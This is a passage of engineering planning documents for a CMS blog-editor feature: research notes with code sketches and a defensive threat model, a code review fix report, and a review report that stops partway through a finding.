+**How to handle:** Plan DryRun/unit coverage that runs with `-short` and a human Docker-host gate before the release (the 16.1-02 "docker-first" pattern).
+
+## Code Examples
+
+### 1. pact surface (proposed; names are Claude's discretion)
+
+```go
+// FormFieldType is a plugin-registered, value-bearing admin form field type
+// (Winter registerFormWidgets). Name is the global alias used as `type:` in
+// fields.yaml; Element is the custom-element tag the plugin's script defines.
+type FormFieldType struct {
+	Name         string
+	Element      string
+	Translatable bool     // value is a locale -> string map stored through the translation writer
+	Scripts      []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
+	Styles       []string // AdminFS paths under assets/ (.css)
+	Options      []string // the type's own fields.yaml keys
+	CheckOptions func(options map[string]any) error                                `json:"-"`
+	Decode       func(ctx context.Context, in FormFieldValue) (any, error)          `json:"-"`
+	Load         func(ctx context.Context, in FormFieldValue) (any, error)          `json:"-"`
+	ListValue    func(value any) string                                            `json:"-"`
+	Upload       func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
+}
+
+type FormFieldValue struct {
+	DB      *gorm.DB // the save transaction, or the read handle for Load
+	Record  any      // the loaded (or new) model pointer
+	Field   string
+	Locale  string // "" for a non-translatable type
+	Default bool   // Locale is the host-column locale
+	Value   any    // submitted (Decode) or stored (Load) value
+}
+
+// FieldError is a value refusal shown on the field (422).
+type FieldError struct{ Messages []string }
+
+type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType }
+```
+
+(`pact` already imports `gorm.io/gorm` and `context` [VERIFIED: modules/pact/capabilities.go:3-13].)
+
+### 2. Journal Decode (Go, no new dependency)
+
+```go
+func decodeBlogHTML(_ context.Context, in pact.FormFieldValue) (any, error) {
+	text, ok := in.Value.(string)
+	if !ok {
+		return nil, &pact.FieldError{Messages: []string{"golem15.journal::lang.post.content_invalid"}}
+	}
+	if err := CheckHTML(text); err != nil { // classes.CheckHTML: refuse, never rewrite (D-10)
+		return nil, &pact.FieldError{Messages: []string{err.Error()}}
+	}
+	return text, nil
+}
+```
+
+### 3. Element skeleton (TypeScript, light DOM)
+
+```ts
+// Source: TipTap Editor/setContent docs + local probes (emitUpdate:false fires no update)
+class BlogEditor extends HTMLElement {
+  #original = ''          // exact served string
+  #dirty = false
+  #editor?: Editor
+  get value(): string { return this.#dirty ? serialize(this.#editor!) : this.#original }
+  set value(v: string) {
+    if (v === this.value) return            // echo of our own summer-change: no reset
+    this.#original = v; this.#dirty = false
+    this.#editor?.commands.setContent(v, { emitUpdate: false })
+  }
+  connectedCallback() {
+    this.#editor = new Editor({
+      element: this.querySelector('[data-pm]')!, injectCSS: false,
+      extensions: preservationExtensions(), content: this.#original,
+      onUpdate: ({ transaction }) => {
+        if (!transaction.docChanged) return
+        this.#dirty = true
+        this.dispatchEvent(new CustomEvent('summer-change', { bubbles: true, detail: { value: this.value } }))
+      },
+    })
+  }
+  disconnectedCallback() { this.#editor?.destroy() }
+}
+customElements.define('golem15-journal-blogeditor', BlogEditor)
+```
+
+### 4. Layer embed expansion (SSR-safe string transform)
+
+```ts
+// After gateJournalHtml; the iframe exists only in the rendered page (D-05).
+const YOUTUBE = /<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"><\/figure>/g
+export function expandEmbeds(html: string): string {
+  return html.replace(YOUTUBE, (_m, id: string) =>
+    `<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/${id}" title="YouTube" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture" allowfullscreen></iframe></figure>`)
+}
+```
+
+## State of the Art
+
+| Old Approach | Current Approach | When Changed | Impact |
+|--------------|------------------|--------------|--------|
+| TipTap 2 `setContent(content, emitUpdate = false)` | v3 options object, `emitUpdate` default `true` | TipTap v3 | Echo updates mark dirty unless suppressed |
+| `History` extension | `UndoRedo` (StarterKit option `undoRedo`) | v3 | Config key name [VERIFIED: starter-kit.ts:101-103] |
+| `@tiptap/extension-table-row/-cell/-header` separate packages | `TableKit` from `@tiptap/extension-table` | v3 | One install [CITED: tiptap table docs] |
+| StarterKit without link/underline/trailing node | v3 StarterKit includes Link, Underline, TrailingNode | v3 | Must configure or disable [VERIFIED: starter-kit.ts:130-169] |
+
+**Deprecated/outdated:** goldmark rendering of HTML content on the admin path (the 16.1 stopgap) is replaced by D-02/D-10.
+
+## Assumptions Log
+
+| # | Claim | Section | Risk if Wrong |
+|---|-------|---------|---------------|
+| A1 | "Looks like HTML" (first non-space byte `<`) identifies an HTML post; anything else is markdown and is served as `content_html` | Pattern 6 | A markdown post starting with an HTML tag would open as raw markdown in WYSIWYG; low frequency (0 of the local export's markdown bodies start with `<`) but needs user OK |
+| A2 | Light DOM is preferable to Shadow DOM for ProseMirror | Alternatives | Style leakage if wrong; mitigated by tag-scoped CSS |
+| A3 | Top-level `Node.eq` reuse of original block HTML is worth its complexity | Pattern 4 item 7 | Planner may cut it; D-03 only requires "as far as possible" |
+| A4 | goldmark can mangle indented HTML (CommonMark HTML block rules) | Pitfall 5 | Only affects the justification for replacing the stopgap, not the decision |
+| A5 | Settings forms refuse plugin types in v1 | Pattern 1 | A future settings form wanting a plugin type needs a follow-up |
+| A6 | Journal uploads keep the media-bucket layout (`/journal/...`), not `content_images` attachments (PHP parity used attachments) | Pattern 9 | Attachments would need deferred binding with the form session key |
+| A7 | contenteditable inconsistency justifies the library (general knowledge) | Don't Hand-Roll | None (D-16 locks TipTap anyway) |
+
+## Open Questions (RESOLVED)
+
+All three questions were settled during planning; the resolution line under each question is binding for the plans.
+
+1. **D-18 upload path reachability (needs user confirmation).**
+   - **RESOLVED (user decision 2):** cabana owns the upload transport, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (plan 01), which calls the field type's `Upload`; Journal moves its storage rules into `classes.StoreMedia` and calls it from that `Upload` (plan 03), and `POST /_journal/api/v1/media/upload` stays unchanged for API clients (D-09).
+   - What we know:
+     - The admin SPA never reads the JWT: "the JWT lives in an HttpOnly cookie the SPA never reads" [VERIFIED: admin/src/api/client.ts:2-4].
+     - The cookie is `Path: s.adminPrefix()`, `HttpOnly: true`, `SameSite: http.SameSiteStrictMode` [VERIFIED: modules/cabana/auth.go:244-252], with `AdminCookieName = "summer_admin"` [VERIFIED: modules/cabana/prefix.go:16].
+     - The Journal guard is built without cookie names: `return bouncer.NewBackendJWTGuard(secret, cabana.BackendUsers{DB: gdb, Registry: reg}, bl, write)` [VERIFIED: sm-journal-plugin/controllers/api/auth.go:80], and the route is `g.Post("/media/upload", ...)` under `/_journal/api/v1` [VERIFIED: routes.go:26].
+     - So the browser sends no credential to that route from the admin.
+   - Recommendation:
+     - Keep the existing route untouched for API clients (D-09 spirit).
+     - Extract its storage logic into `classes` (or `controllers/api`), keeping these values: `const mediaMaxBytes = 10240 << 10`; extensions `"jpg", "jpeg", "png", "gif", "webp"` [VERIFIED: media.go:17,45]; the `/journal/<folder>/<name>` keys; the unique-suffix logic.
+     - Call it from the field type's `Upload` through the cabana field upload route (Pattern 9).
+     - This keeps "the existing Journal media storage" but changes the transport, so confirm the reading of D-18 with the user.
+2. **Where the SPA learns the global field-type assets.** Options: a new `GET /field-types` route (adds to the OpenAPI and route matrix), or a `meta.fieldTypes` on `/navigation`, which already loads on every page (`useNavigation.ts:13`). Recommendation: a dedicated route, which keeps the navigation contract unchanged. Planner's choice.
+   - **RESOLVED (plan 01, planner's choice):** a dedicated `GET {api}/field-types` route, loaded by the SPA next to `/navigation`; the navigation contract does not change.
+3. **Release scope.** The 16.1 pattern applies: summercms tag v0.1.17 (latest is v0.1.16), a sm-journal-plugin `go.mod` require bump, the host gitlink bump, vue-journal-layer tag v0.2.0 (latest v0.1.0) with the `vue-grzybyfunkcjonalne-app` `package.json` pin `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` [VERIFIED: package.json:20] bumped, the host gitlink for the Vue app, `scripts/build.sh` (builds Go and Nuxt), rsync, restarting both supervisor programs, and the on-server smoke. Recommendation: include it as a plan with human checkpoints (Docker-host gate, UAT browser check of editing an imported post).
+   - **RESOLVED (user decision 3):** release and UAT are in scope: plan 04 tags the layer (v0.2.0) and pins it in the app, and plan 05 tags summercms (v0.1.17 or the next free v0.1.x), bumps the plugin require and the host gitlinks, deploys UAT and runs the human Docker-host and UAT checkpoints.

+## Security Domain
+
+`security_enforcement` is absent from config (treated as enabled); ASVS L1.
+
+### Applicable ASVS Categories
+
+| ASVS Category | Applies | Standard Control |
+|---------------|---------|-----------------|
+| V2 Authentication | yes (upload route) | cabana backend guard (cookie or Bearer); never a token handed to the element |
+| V3 Session Management | yes | Existing HttpOnly, SameSite=Strict cookie scoped to the admin prefix; `requireAjax` on POST |

+
+### Known Threat Patterns (threat model input)
+
+| Pattern | STRIDE | Standard Mitigation |
+|---------|--------|---------------------|
+| Stored XSS through the raw HTML block, source tab or a non-default locale | Tampering / Elevation | `CheckHTML` in Decode for every locale value; layer `gateJournalHtml` again before v-html |
+| An iframe smuggled in as an "embed" | Tampering | Placeholder only in storage; the layer builds the iframe from a validated id and a fixed host |
+| XSS in the admin itself (the element renders stored HTML in contenteditable) | Elevation | ProseMirror renders through its schema, so `script` is never a node and the `rawHtml` card shows text, not live DOM. The admin CSP `script-src 'self'` blocks inline handlers. Do not `innerHTML` raw blocks into the live admin DOM. [ASSUMED: verify in the plan's tests that the rawHtml card renders escaped text] |
+| A plugin alias hijacking a core type or another plugin's type | Spoofing | Boot fails on any collision (D-11) |
+| A plugin element exfiltrating the session | Information disclosure | No credential is passed to elements; the cookie is HttpOnly; the SPA performs uploads |
+| CSRF on the upload route | Tampering | `requireAjax` (X-Requested-With) plus a SameSite=Strict cookie |
+| Upload of HTML or SVG disguised as an image | Tampering / Elevation | Extension allowlist without SVG; nginx type map + `nosniff`; consider also checking the magic bytes with `http.DetectContentType` (stdlib) |
+| Path traversal or odd filenames in upload keys | Tampering | `path.Base`, the folder regex `^[A-Za-z0-9_\-/]*$`, `..` refused (existing); consider slugifying the base name for the admin path |
+| Oversized uploads, or unbounded JSON in Decode | DoS | `http.body_limits.upload_bytes` on the route; the existing default body limit on saves |
+| Option values reaching the element as HTML | Tampering | Options delivered as a JSON attribute; the element never `innerHTML`s them |

+- Architecture: HIGH for the integration points (read from source). MEDIUM for the proposed API shape and the editor serializer, which are design choices.
+- Pitfalls: HIGH. Most were reproduced by local probes or read from source.

+**Research date:** 2026-10-09
+**Valid until:** 2026-11-08 for the framework findings. Re-check TipTap patch versions before installing, because the project releases fast.

+# Phase 16.2: Code Review Fix Report
+
+**Fixed at:** 2026-10-10T14:46:56Z
+**Source review:** .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md
+**Iteration:** 1
+
+**Summary:**
+- Findings in scope: 8 (CR-01, WR-01, WR-02, WR-03, WR-04, WR-05, WR-06, IN-04, as the orchestrator chose)
+- Fixed: 8
+- Skipped: 0 in scope. WR-07, WR-08, IN-01, IN-02, IN-03, IN-05, IN-06, IN-07 and IN-08 are out of scope by decision. Each is listed under Skipped Issues.
+
+The fixes span three repositories, and each fix is committed in the repository that owns the file:
+- summercms.go: `/media/nvme/dev/golem15/summercms.io/summercms/summercms.go`
+- sm-journal-plugin: `/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin`

+
+## Fixed Issues
+
+### CR-01: Blog Editor hides a locale's existing `content_html` when its `content` is blank
+
+**Repository:** sm-journal-plugin
+**Files modified:** `classes/blog_editor.go`, `classes/blog_editor_test.go`, `controllers/posts_editor_smoke_test.go`
+**Commit:** 1593231
+**Applied fix:** `loadBlogHTML` now reads the `htmlColumn` attribute when the stored content is blank and serves it whenever it is not empty. This applies to every locale and to the host row. When it is empty or missing, the blank value is served as stored. FormatHTML never runs on a blank value. An untouched save echoes the served value, which cabana skips. An edit writes the edited HTML to `content`, and FormAfterUpdate writes it to that locale's `content_html`.
+**Tests:**
+- Blank or nil content is served as `content_html`, in a translation and on the host row.
+- Blank content with an empty or missing `content_html` is still served as `""`.
+- A failing read is the Load error.
+- A field without `htmlColumn` never reads.
+- The controller smoke test covers the whole flow: Load serves the API-written body, Decode accepts the edit, and FormAfterUpdate writes `content_html` for that locale.
+
+### WR-01: Field upload route skips the controller's create/update capability check
+
+**Repository:** summercms.go
+**Files modified:** `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_test.go`, `modules/cabana/field_type_smoke_test.go`, `modules/cabana/README.md`, `docs/backend/field-types.md`
+**Commit:** 3158bb5
+**Applied fix:** `fieldUpload` now calls `s.operationDeclared(w, r, cc, op)` right after parsing `{id}`, before it reads the body. The operation is `create` for id 0 and `update` otherwise, as on the save routes.
+**Tests:**
+- New `TestFieldUpload` case: a controller with no `create` toolbar button answers 403 for id 0 and never calls Upload. The same field with the button answers 201.
+- The test fixtures for upload (`upFS`, `ftMLPlugin`) now declare `toolbar.buttons: [create]`.
+**Docs:** the README route row and the field-types page now describe the 403.
+
+### WR-02: Stored upload objects are orphaned when the route refuses after Upload succeeded
+
+**Repository:** summercms.go
+**Files modified:** `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_test.go`, `modules/cabana/README.md`, `docs/backend/field-types.md`
+**Commit:** c532529
+**Applied fix:**
+- The route reads the whole multipart body with `ReadForm` before Upload runs. Files over 8 MiB (`fieldUploadMemory`) spool to a temporary file, which `RemoveAll` deletes.
+- `singleUploadFile` requires exactly one part: a file part named `file` with a non-blank file name. Only then is Upload called, with the opened file.
+- An extra part, a value part or an oversized body is refused (422 or 413) without calling Upload.
+- Two windows remain, and the docs now name them: a record transaction that fails after Upload returns, and an element that stops waiting. In both cases `Upload` should store under a name that is safe to leave behind.
+**Tests:**
+- New cases check that a second file part, a later field, a value part before or after the file, and an oversized body never call Upload.
+- A file larger than the in-memory threshold reaches Upload byte for byte.
+
+### WR-03: Media key uniqueness is check-then-write
+
+**Repository:** sm-journal-plugin
+**Files modified:** `classes/media_store.go`, `classes/media_store_test.go`
+**Commit:** 2c961b8
+**Applied fix:**
+- `StoreMedia` reserves the chosen key in an in-process set, per bucket, while it writes. `uniqueMediaKey` treats reserved keys as taken.
+- The write uses `blob.WriterOptions{IfNotExist: true}`. A `gcerrors.FailedPrecondition` moves the upload on to the next free name, for at most 10 attempts.
+- Both parts are needed: fileblob's `IfNotExist` is stat-then-rename under a per-writer mutex, so on its own it would not close the race within one process. The reservation closes it within the process, and `IfNotExist` covers other processes on backends that enforce it atomically, such as S3.
+**Tests (run with `-race`):**
+- 16 concurrent uploads of `image.png` get distinct keys and keep their own bytes, and no reservations are left behind.
+- A test hook (`mediaBeforeWrite`) simulates another process writing the chosen keys. The upload moves to `image-2.png` and leaves the other objects untouched.
+- When the upload loses every attempt, it gives up with an opaque error.
+
+### WR-04: `LooksLikeHTML` treats markdown that starts with a tag as HTML
+
+**Repository:** sm-journal-plugin
+**Files modified:** `classes/blog_editor.go`, `classes/blog_editor_test.go`, `controllers/posts_editor_smoke_test.go`
+**Commit:** 5af746f
+**Status:** fixed: requires human verification (this changes a heuristic)
+**Applied fix:**
+- A value that starts with `<` is served as it is only when one of these holds:
+  - `content_html` is empty or missing, or cannot be read (no translation writer).
+  - `content_html` equals the value, ignoring white space at either end.
+  - `content_html` equals `SanitizeHTML(value)`, ignoring white space at either end.
+- Otherwise the value is markdown that starts with a tag, and `content_html` is served.
+- `sameStoredHTML` holds the comparison.
+**Why `FormatHTML(value)` is not a match:** that render also matches markdown which starts with `<img>`, so counting it would bring the bug back.
+**Side effect:** an imported HTML post whose `content_html` differs from its `content` (for example, Winter's Markdown::parse split an HTML block) now opens with `content_html`. That is what the site renders, so an untouched save still skips and an edit writes both columns from it.
+**Tests:**
+- The HTML-verbatim cases now cover a `content_html` that is missing, empty, equal, sanitized, trimmed, or both sanitized and trimmed.
+- New fixtures cover markdown that starts with `<img>`, `<div>` and `<!-- comment -->`. Each is served as its `content_html`, with no `##` or `**` markers.
+- A read error on an HTML value is the Load error.
+- A controller smoke case covers the `<img>` hero.
+
+### WR-05: Attribute preservation lets `id`, `name`, `style`, `srcset` into the live admin DOM
+
+**Repository:** sm-journal-plugin
+**Files modified:** `assets/src/blogeditor/extensions.ts`, `assets/dist/blogeditor.js`, `tests/blogeditor/schema.test.ts`, `tests/blogeditor/smoke.test.ts`, `README.md`
+**Commit:** f1e6c11
+**Applied fix:**
+- `captureAttributes` and `renderCaptured` now use the conservative allowlist from the orchestrator (`KEPT_ATTRIBUTES`, `isKeptAttribute`): `class`, `title`, `alt`, `width`, `height`, `colspan`, `rowspan`, `start`, `rel`, `target` and `data-*`.
+- `href` and `src` stay modelled on the link and image nodes, which check them.
+- Every other attribute is never captured, so it is never rendered into the ProseMirror view. This covers `id`, `name`, `style`, `srcset`, `background`, `form`, `contenteditable`, `popover`, `itemprop`, `dir`, `lang` and `on*`. Such attributes drop out of a block once that block is edited.
+- A `span` is kept as a mark only when it has a kept attribute.
+- Untouched documents and untouched blocks still return their stored bytes (D-03).
+**Tests:**
+- The schema tests use view-safe attributes for the "keeps" cases.
+- New table cases drop `id`, `name`, `style`, `srcset`, `loading`, `background`, `form`/`contenteditable`/`popover`, `itemprop`/`dir`/`lang` and a cell's `style`.
+- A live-DOM test asserts that no stored `id`, `name`, `srcset`, `background` or style value reaches `.ProseMirror`, and that the untouched value is still the exact input.
+- The smoke expectation for edited blocks is updated.
+- A new test confirms that an untouched block keeps `id`, `style` and `itemprop` byte for byte after another block is edited.
+**Other changes:** the dist bundle is rebuilt and the plugin README's untouched-values paragraph is updated.
+
+### WR-06: Translatable Decode can receive non-string values
+
+**Repository:** summercms.go
+**Files modified:** `modules/cabana/field_type.go`, `modules/cabana/field_type_test.go`, `modules/pact/capabilities.go`, `modules/pact/README.md`, `docs/backend/field-types.md`
+**Commit:** f388d27
+**Applied fix:** before `decodeOne` handles a translatable field's default value, `decodePluginFields` now does the following:
+- A string passes through.
+- `nil` becomes `""`.
+- Any other value is a 422 on the field: "The X field must be text or an object of locale codes to text."
+**Docs:** the pact `FormFieldValue` doc comment, the pact README row and the field-types page now state the enforced contract.
+**Tests:** a probe Decode does `in.Value.(string)` and so panics on a broken contract.
+- A string and null each reach it as a string.
+- A number, a boolean and an int are refused with a 422 before Decode runs.
+
+### IN-04: `crypto.randomUUID()` throws outside a secure context
+
+**Repository:** sm-journal-plugin
+**Files modified:** `assets/src/blogeditor/element.ts`, `assets/dist/blogeditor.js`, `tests/blogeditor/smoke.test.ts`
+**Commit:** b997a41
+**Applied fix:** a new exported `uploadRequestId()` picks the request id in this order:
+- `crypto.randomUUID` when it exists.
+- Otherwise, a version 4 UUID built from `crypto.getRandomValues`, which works in insecure contexts.
+- Otherwise, a time-plus-counter id.
+The admin host (`PluginField.vue`) echoes any id back, so nothing else changes.
+**Tests:**
+- With `randomUUID` stubbed away, ids are unique v4 UUIDs and a full upload round trip still works.
+- With no `crypto` object, ids are unique counter ids.
+**Other changes:** the dist bundle is rebuilt.
+
+## Skipped Issues
+
+### WR-07: "View site" links to the admin's own origin
+
+**File:** `admin/src/components/shell/AppShell.vue:25-27, 40-48`
+**Reason:** By explicit user decision, "View site" defaults to the admin origin. The `SUMMER_FRONTEND__URL` override is a tracked follow-up.
+**Original issue:** `siteURL` assumes the public site and the admin share an origin, which is wrong for the headless deployment.
+
+### WR-08: The phase gate prints "Phase 16.2 gate passed" without running the data-loss regression suites
+
+**File:** `scripts/check-phase16.2.sh:521-544`
+**Reason:** This is by design. The gate prints a loud NOT RUN block, and `PHASE162_REQUIRE_POSTGRES=1` enforces the Postgres stage. The Postgres run is a tracked Docker-host step.
+**Original issue:** `--all` exits 0 when Docker is unreachable, without the D-03/D-10 Postgres acceptance tests.
+
+### IN-01: An embed placeholder that both policies accept may never expand
+
+**File:** `../vue-journal-layer/app/utils/embeds.ts:41`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** `EMBED_PLACEHOLDER` matches only `data-embed` before `data-id`.
+
+### IN-02: The expanded YouTube iframe has no `sandbox`, and the exported `/g` regex carries shared `lastIndex` state
+
+**File:** `../vue-journal-layer/app/utils/embeds.ts:41, 56-60`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** There is no defence-in-depth `sandbox` on the iframe, and the exported global regex is stateful.
+
+### IN-03: Plugin aliases can shadow list column types
+
+**File:** `modules/cabana/field_type.go:104-109`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** A plugin alias `date`, `datetime` or `time` is accepted, but its `ListValue` is never called.
+
+### IN-05: content_html translations are skipped silently when the application is unavailable
+
+**File:** `../sm-journal-plugin/controllers/posts.go:263-270`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** `writeContentHTMLTranslations` returns nil without a writer, and the columns diverge.
+
+### IN-06: Untouched detection cannot be byte-exact for legacy content with invalid UTF-8
+
+**File:** `modules/cabana/field_type.go:641-651`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** JSON transport replaces invalid UTF-8, so an untouched save rewrites such rows.
+
+### IN-07: "Edit as HTML" selects the first identical block
+
+**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:524-532`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** `indexOf(html)` highlights the first of two identical raw blocks.
+
+### IN-08: Plugin-typed fields cannot declare `readOnly`/`hidden`/`disabled` in YAML
+
+**File:** `modules/cabana/field_type.go:33-36`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** `pluginFieldKeys` excludes the general keys that the SPA honours.
+
+## Verification
+
+All verification ran in the main checkouts. `workflow.use_worktrees` is `false`, so no worktree was created and the numbers can be reproduced from the trees as committed.
+
+- **summercms.go:**
+  - `go vet ./...` is clean.
+  - The phase gate's framework set (`FRAMEWORK_RUN` over `./modules/pact ./modules/cabana`) passes.
+  - `go test ./cmd/summer -run TestDocsTree` passes.
+  - The other cabana failures are Docker-only (testcontainers). The failing subtest list is identical before and after these changes; this was checked with `git stash`.
+- **sm-journal-plugin:**
+  - `go vet ./...` is clean.
+  - `go test ./classes ./controllers ./controllers/api` passes. The root, `models` and `updates` packages need Docker.
+  - vitest passes 232 of 232, and `tsc --noEmit` is clean.
+  - `scripts/check-dist.sh` matches a fresh build.
+- **vue-journal-layer:** untouched. The gate's layer stage passes 144 of 144, and the corpus copy equals the plugin's.
+- **Full gate:** `bash scripts/check-phase16.2.sh --all` passes the go, admin (vitest 1218 of 1218), editor, layer and docs stages; docs includes check-admin-openapi, check-admin-dist and the Journal check-dist. Postgres is NOT RUN because no Docker daemon is reachable. Its suites (TestFieldTypeSavePostgres, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdmin*) still need a Docker-host run. That run matters most for CR-01 and WR-04, whose end-to-end untouched-save behavior those suites cover.

+# Phase 16.2: Code Review Report
+
+**Reviewed:** 2026-10-10T14:29:09Z
+**Depth:** standard
+**Files Reviewed:** 73 (summercms.go diff 0754a6e..HEAD, sm-journal-plugin diff c60abc6..HEAD, vue-journal-layer diff 294a8d8..HEAD)
+**Status:** issues_found
+
+Paths starting with `../` are relative to the summercms.go repository root; they live in the sibling sm-journal-plugin and vue-journal-layer repositories.
+
+## Summary
+
+The review covered the new `pact.FormFieldType` API, cabana's compile, decode, untouched-skip, load, list and upload paths, the admin SPA host (PluginField, MLPluginField, the field-type loader, notices, View site), the Journal Blog Editor types (Decode/Load/ListValue/Upload, StoreMedia, the bluemonday extension and SanitizeHTMLReport), the TipTap custom element (schema, serializer, preview, toolbar), and the layer's sanitize-html mirror and embed expansion.
+
+The security core holds up:
+- Decode runs inside the save transaction for every written locale. The untouched skip compares against the value the form was served, so it cannot be used to store unsanitized bytes that are not already stored.
+- SanitizeHTMLReport returns the input unchanged only when the token comparison matches.
+- The layer expands embeds only after sanitizing, with a fixed `src` and a validated id.
+- The preview iframe uses an empty sandbox, and stored HTML is parsed only into inert documents.
+- Upload sniffing plus StoreMedia's extension list refuses SVG and HTML.
+
+Problems found:
+- **Blocker (data loss):** Journal `Load` serves an empty editor for a locale whose `content` is blank but whose `content_html` holds the body. The public API's `FormatTranslation` path supports that state. Any edit in that locale silently replaces the hidden translated body.
+- **Upload route:** it skips the controller's create/update capability check and can leave orphaned public objects. The Journal storage key check is racy, so concurrent uploads can overwrite each other.
+- **Live admin DOM:** the editor's attribute preservation is a deny-list (`on*` only). `id`, `name`, `style` and `srcset` from stored HTML reach the live admin DOM, which contradicts the threat-model claim.
+- Other warnings: the markdown/HTML heuristic, the translatable Decode contract, the View site URL, and a phase gate that reports success without its data-loss regression tests.
+
+## Critical Issues
+
+### CR-01: Blog Editor hides a locale's existing `content_html` when its `content` is blank; editing that locale overwrites the hidden body
+
+**File:** `../sm-journal-plugin/classes/blog_editor.go:204-209`
+**Issue:** `loadBlogHTML` returns the stored text as-is when it is blank:
+
+```go
+if column == "" || LooksLikeHTML(text) || strings.TrimSpace(text) == "" {
+    return text, nil
+}
+```
+
+`FormatTranslation` (`classes/format_html.go:292-316`) supports translations that carry only `content_html` with blank or missing `content`, for example API writes of a translated body. For such a locale, cabana's `hydratePluginFields` and `servedFieldValue` serve `""`. The administrator therefore sees an empty editor although the site renders a full translated post. The untouched skip protects only a save that leaves that locale empty. As soon as the administrator types anything there, for example believing no translation exists, `decodeOne` writes the new value. `FormAfterUpdate` (`controllers/posts.go:241-280`) then stores it as that locale's `content_html`, and the existing translated body is lost with no notice. This breaks D-07's intent ("a markdown post opens with its `content_html`"). The same applies to a host row whose `content` is blank but whose `content_html` is not.
+**Fix:** When `htmlColumn` is set, serve the HTML column whenever `content` is blank, not only when it is markdown:
+
+```go
+text := storedText(in.Value)
+column, _ := in.Options["htmlColumn"].(string)
+if column == "" || (LooksLikeHTML(text) && strings.TrimSpace(text) != "") {
+    return text, nil
+}
+if in.Translated != nil {
+    html, found, err := in.Translated(column)

+```
+
+Add a test: a pl translation with only `content_html` is served as that HTML, an untouched save keeps it, and an edit writes both columns from the edited value.
+
+## Warnings
+
+### WR-01: Field upload route skips the controller's create/update capability check
+
+**File:** `modules/cabana/field_type_upload.go:25-36, 80-81`
+**Issue:** `fieldUpload` only runs `protect`, which checks the controller's required permissions. Unlike `create` and `update` (`http.go:831, 860`), it never calls `s.operationDeclared(w, r, cc, "create"|"update")`. Consequences:
+- With `{id}` 0, any administrator holding the controller permission can write files to the public media bucket through a controller whose YAML declares no create capability (no toolbar `create`).
+- The `id == 0` path never applies the controller's `FormExtendQuery` scope, so an administrator scoped to a subset of records can still upload.
+- With `{id} > 0`, a record the administrator may view but whose form declares no update can still receive uploads.
+
+**Fix:** Mirror the save routes before reading the body:
+
+```go
+op := "update"
+if id == 0 {
+    op = "create"
+}
+if !s.operationDeclared(w, r, cc, op) {
+    return
+}
+```
+
+Add `TestFieldUpload` cases for a controller without the `create` toolbar button (403 for id 0).
+
+### WR-02: Stored upload objects are orphaned when the route refuses after Upload succeeded
+
+**File:** `modules/cabana/field_type_upload.go:58-78, 83-99`
+**Issue:** The type's `Upload` writes the object to the bucket first. Only then does `run` check that no second multipart part follows (`mr.NextPart()`), and that check returns 422. In the `id != 0` case, a later transaction error rolls back the DB transaction but not the blob write. The element's 60 s timeout (`element.ts:553-556`) also drops a late successful answer. Each case leaves a public, unreferenced object under `/journal/<folder>/` with no cleanup.
+**Fix:** Before calling `Upload`, check that the stream has exactly one part. For example, buffer the part up to the cap, then read `NextPart` before calling `Upload`. Alternatively, add an optional `pact.FormFieldType.Discard(ctx, url)` that cabana calls when it refuses after a successful Upload. At minimum, document that a refused upload may leave the object behind.
+
+### WR-03: Media key uniqueness is check-then-write; concurrent uploads of the same name overwrite each other
+
+**File:** `../sm-journal-plugin/classes/media_store.go:79-85, 122-151`
+**Issue:** `uniqueMediaKey` calls `bucket.Exists` and then `bucket.NewWriter(ctx, key, nil)` writes without a precondition. Two concurrent uploads of the same name to the same folder both see the key as free, and the second write replaces the first. One post then shows the other's image. Clipboard and drag-and-drop images commonly share names such as `image.png`, and `safeUploadName` maps every nameless file to `image.<ext>`, so collisions are likely. The plan-03 fix (T-16.2-16, "never overwrites") covers only the 999-suffix exhaustion case.
+**Fix:** Write with `&blob.WriterOptions{IfNotExist: true}` (available in gocloud.dev v0.46) and retry with the next suffix on a `gcerrors.FailedPrecondition`. Alternatively, add a short random component to editor upload names.
+
+### WR-04: `LooksLikeHTML` treats markdown that starts with a tag as HTML; the first edit stores raw markdown as HTML in both columns
+
+**File:** `../sm-journal-plugin/classes/blog_editor.go:112-115, 207`
+**Issue:** A markdown post whose first non-space character is `<` is served as raw markdown in the WYSIWYG editor, not as its `content_html`. Examples: a hero `<img …>`, a leading `<div>`, or `<!-- comment -->` followed by `## Heading` and `**bold**`. Any edit makes `preparePostWrite` (`controllers/posts.go:212-224`) copy that string into `content_html`. From then on the site renders literal `##` and `**` markers. This is silent corruption on first edit; it is listed as assumption A1, but no safeguard backs it.
+**Fix:** Do not decide by the first character alone. For example, treat the value as HTML only when `content_html` is empty, equals `content`, or equals `SanitizeHTML(content)`; otherwise serve `content_html`. Add a fixture with a markdown post that starts with `<img>`.
+
+### WR-05: Attribute preservation lets `id`, `name`, `style`, `srcset` and other stored attributes into the live admin DOM
+
+**File:** `../sm-journal-plugin/assets/src/blogeditor/extensions.ts:100-125, 133-173`
+**Issue:**
